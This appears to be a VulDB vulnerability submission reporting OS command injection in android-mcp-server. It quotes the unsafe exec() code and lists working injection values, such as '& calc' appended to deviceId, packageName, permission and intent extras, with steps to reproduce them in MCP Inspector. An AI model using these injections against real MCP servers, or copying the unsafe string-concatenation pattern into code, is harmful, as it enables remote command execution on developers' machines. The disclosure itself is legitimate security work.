Submit #873898: jiantao88 android-mcp-server Latest remote code executeinfo

Titlejiantao88 android-mcp-server Latest remote code execute
DescriptionSummary A OS command injection vulnerability was identified in android-mcp-server. The server builds ADB commands via string concatenation and executes them with child_process.exec(). On Windows, input is interpreted by cmd.exe, allowing arbitrary command execution on the host running the MCP server (confirmed via calc.exe PoC). The issue is not limited to a single tool—multiple MCP tools and string parameters are affected. The following parameters were verified as exploitable: deviceId, packageName, permission, extras[].key, and extras[].value. Injection succeeded even when no Android device was connected, confirming impact on the developer’s PC, not only the target device. Details Root Cause All ADB operations flow through a single helper, executeAdbCommand, which concatenates user-controlled strings into a shell command and passes it to child_process.exec(). On Windows, exec() delegates to cmd.exe, which interprets metacharacters such as & and " as shell syntax. Sink — the final dangerous call: import {exec} from 'child_process'; import {promisify} from 'util'; // ... const execAsync = promisify(exec); // 使用完整路径执行命令 const cmd = `"${adbPath}" ${deviceOption} ${command}`; console.log('Executing command:', cmd); const {stdout, stderr} = await execAsync(cmd); There is no shell escaping or use of execFile/spawn with an argument array. Any tainted input reaching ${deviceOption} or ${command} can alter the command executed on the host. 1. deviceId Source — defined once and spread into nearly every tool via deviceSelectionParams: const deviceSelectionParams = { deviceId: z.string().optional().describe('Target specific device by ID (takes precedence over useUsb and useEmulator)'), useUsb: z.boolean().optional().default(false).describe('Target USB connected device (-d)'), useEmulator: z.boolean().optional().default(false).describe('Target emulator instance (-e)') }; Propagation — the handler receives deviceId from the MCP client and embeds it directly into deviceOption: let deviceOption = ''; if (options?.deviceId) { deviceOption = `-s ${options.deviceId}`; Sink path — deviceOption is inserted into cmd before execAsync: const cmd = `"${adbPath}" ${deviceOption} ${command}`; console.log('Executing command:', cmd); const {stdout, stderr} = await execAsync(cmd); Example — calling any tool that accepts deviceSelectionParams (e.g. battery-info) with deviceId = "x & calc" produces: "C:\platform-tools\adb.exe" -s x & calc shell dumpsys battery cmd.exe parses this as three commands; calc runs on the host regardless of whether adb succeeds. 2. packageName Source — example from uninstall-apk (same parameter exists in grant-permission, revoke-permission, etc.): { ...deviceSelectionParams, packageName: z.string().describe('Package name of the application'), keepData: z.boolean().optional().default(false).describe('Keep the app data and cache directories (-k)') }, async ({ deviceId, useUsb, useEmulator, packageName, keepData }) => { Propagation — concatenated into the command argument without quoting: const options = keepData ? '-k' : ''; const result = await executeAdbCommand(`uninstall ${options} ${packageName}`, { deviceId, useUsb, useEmulator }); Sink path — the tainted string becomes part of command, then flows into execAsync(cmd) via line 35–37 above. Example — uninstall-apk with packageName = "com.fake & calc" produces: "C:\platform-tools\adb.exe" uninstall com.fake & calc 3. permission Source — grant-permission tool schema and handler: ...deviceSelectionParams, packageName: z.string().describe('Package name of the application'), permission: z.string().describe('Permission to grant (e.g., android.permission.CAMERA)') }, async ({ deviceId, useUsb, useEmulator, packageName, permission }) => { Propagation — both packageName and permission are unquoted in the command string: try { const result = await executeAdbCommand(`shell pm grant ${packageName} ${permission}`, { deviceId, useUsb, useEmulator }); Sink path — same as above: command → cmd → execAsync. Example — grant-permission with permission = "android.permission.CAMERA & calc" produces: "C:\platform-tools\adb.exe" shell pm grant com.example android.permission.CAMERA & calc The same pattern applies to revoke-permission at line 344. 4. extras[].key Source — start-activity defines extras as an array of objects with a user-controlled key: extras: z.array(z.object({ type: z.enum(['string', 'int', 'long', 'float', 'boolean', 'uri', 'component']), key: z.string(), value: z.string() })).optional().describe('Intent extras (e.g., [{type: "string", key: "key1", value: "value1"}])'), Propagation — extra.key is appended without quotes when building the adb sub-command: if (extras && extras.length > 0) { for (const extra of extras) { cmd += ` --e${extra.type.charAt(0)} ${extra.key} "${extra.value}"`; } Sink path — the constructed cmd is passed to executeAdbCommand, which again reaches execAsync: const result = await executeAdbCommand(cmd, { deviceId, useUsb, useEmulator }); Example — start-activity with extras = [{ "type": "string", "key": "x & calc", "value": "test" }] produces: "C:\platform-tools\adb.exe" shell am start --es x & calc "test" 5. extras[].value Source — same schema as above; value is a user-controlled string field at line 561. Propagation — extra.value is wrapped in double quotes, but the quotes are not escaped, allowing breakout: cmd += ` --e${extra.type.charAt(0)} ${extra.key} "${extra.value}"`; Sink path — identical to extras[].key: cmd → executeAdbCommand → execAsync(cmd). Example — with key = "foo" and value = "\" & calc & rem", the constructed segment becomes: --es foo "" & calc & rem" cmd.exe closes the quoted string at the injected ", then executes calc as a separate command. All five verified parameters reach the same sink through this path. The absence of input validation beyond Zod type checking (which only confirms the value is a string, not that it is shell-safe) means any MCP caller can supply malicious payloads without bypassing the schema. MCP Inspector Verification Procedure Setup Build the project: cd D:\MCP\mcp.so\j\android-mcp-server npm install npm run build Start Inspector: npx -y @modelcontextprotocol/inspector@latest node build/index.js "C:\platform-tools\adb.exe" Open the URL printed in the terminal (includes MCP_PROXY_AUTH_TOKEN) and click Connect. Go to the Tools tab. ​ Note: Host-side RCE verification does not require a connected Android device. If calc.exe launches—even when the response shows no devices/emulators found—the vulnerability is confirmed. Verification 1: deviceId Tool: battery-info (or any tool that accepts deviceId) deviceId: xxx&calc then, click Run Tool Verification 2: packageName Tool: uninstall-apk packageName: com.fake.pkg & calc then, click Run Tool Verification 3: permission Tool: grant-permission packageName: xxx permission: android.permission.CAMERA & calc then, click Run Tool Verification 4: extras[].key Tool: start-activity extras: [ { "type": "string", "key": "x & calc", "value": "test" } ] then, click Run Tool Verification 5: extras[].value Tool: start-activity extras: [ { "type": "string", "key": "foo", "value": "\" & calc & rem" } ] Impact RCE
Source⚠️ https://github.com/jiantao88/android-mcp-server/issues/1
User
 TianyuLi (UID 99360)
Submission06/30/2026 09:52 (2 months ago)
Moderation08/16/2026 15:18 (2 months later)
StatusAccepted
VulDB entry391157 [jiantao88 android-mcp-server up to cfb872b2446794193b58edd63f4dbf6af48a6292 Command Execution build/index.js child_process.exec os command injection]
Points20

Want to know what is going to be exploited?

We predict KEV entries!